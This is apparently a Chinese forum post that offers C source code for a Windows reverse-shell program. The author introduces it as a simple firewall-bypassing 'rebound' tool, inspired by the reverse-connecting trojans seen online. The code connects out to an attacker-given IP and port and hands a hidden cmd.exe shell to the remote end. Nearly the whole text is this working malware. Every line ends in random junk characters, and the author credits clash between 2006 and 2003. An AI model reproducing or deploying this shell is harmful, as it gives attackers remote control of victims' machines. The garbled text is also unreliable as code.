这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ELeR5xT
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/* ============================== B<
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Rebound port in Windows NT 2/RK
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By wind,2006/7 .Ej `!
===============================*/ i >Hh_q;'
#include -q[T0^eS
#include L;I.6<K.
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#pragma comment(lib,"wsock32.lib") #dE#w#=r
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void OutputShell(); )I9AF,K
SOCKET sClient; @g(N!n~
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; X0^gj>GI|
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void main(int argc,char **argv) MI0'ou8l
{ $]:I1I
WSADATA stWsaData; T/p}Us
int nRet; N*$<Kjw
SOCKADDR_IN stSaiClient,stSaiServer; aCcBmc
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if(argc != 3) {6^c3R[
{ FSoL|lH
printf("Useage:\n\rRebound DestIP DestPort\n"); @y[Zr6\z
return; l %=yT6
} 9~I\WjB
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WSAStartup(MAKEWORD(2,2),&stWsaData); -20o%t
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "B*a|
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stSaiClient.sin_family = AF_INET; AT}}RE@vq
stSaiClient.sin_port = htons(0); TDBWYppM
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); k:4 Zc3
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) fs&J%ku\
{ Gg|'T}0X
printf("Bind Socket Failed!\n"); Yd~K\tX:n
return; m~1{~'
} p18-yt;
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stSaiServer.sin_family = AF_INET; 7Gnslp?[U
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ~:b bV6YO
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); sqi~j(&\1
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) YN?@ S
{ \NhCu$'
printf("Connect Error!"); [&|Le;h
return; BF<7.<,
} v]F q}I"
OutputShell(); .3?'+KZ,
} >F8&wh'BjY
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void OutputShell()
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{ zwR@^ 5^6
char szBuff[1024]; NLyvi,svS
SECURITY_ATTRIBUTES stSecurityAttributes; fKOm\R47
OSVERSIONINFO stOsversionInfo; `~UCWK
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; I+D`\OSL
STARTUPINFO stStartupInfo; aO.'(kk8
char *szShell; fU@}]&
PROCESS_INFORMATION stProcessInformation; RKdf1C
unsigned long lBytesRead;
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GC66n1- X
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); %\_I%
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stSecurityAttributes.lpSecurityDescriptor = 0; 0t}=F4@&a
stSecurityAttributes.bInheritHandle = TRUE; t!c8c^HR
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); }U7>_b2
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); S+ymdZ)xZ`
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); IE$x2==)
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EAF<PMb
stStartupInfo.wShowWindow = SW_HIDE; TSdjX]Kf
stStartupInfo.hStdInput = hReadPipe; BS;rit:
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; |(}uagfrd
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GetVersionEx(&stOsversionInfo); q?[{fcNh$
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switch(stOsversionInfo.dwPlatformId) ^c< <I-o|
{ u9:;ft{}N
case 1: \cPGyeq
szShell = "command.com"; c[!e*n!y
break; o%h\55 S
default: E?y0UD[8J
szShell = "cmd.exe"; *`ehI_v :
break; TcZ
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} .Y_RI&B!L
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); dS0G+3J&+E
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send(sClient,szMsg,77,0); TMKemci
while(1) EYGJDv(S
{ sa#=#0yg
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 9V zk:zOT
if(lBytesRead) }tft@,dIC
{ BS*cG>T
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); EM vV
send(sClient,szBuff,lBytesRead,0); ~IE:i-Kz
} o|]xj'
else aC]~
{
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lBytesRead=recv(sClient,szBuff,1024,0); s?~Abj_
if(lBytesRead<=0) break; !aa^kcEjnL
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); RduA0@g0
} i= ~HXr}
} %!(6vm>8
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return; gD=s~DgN)
}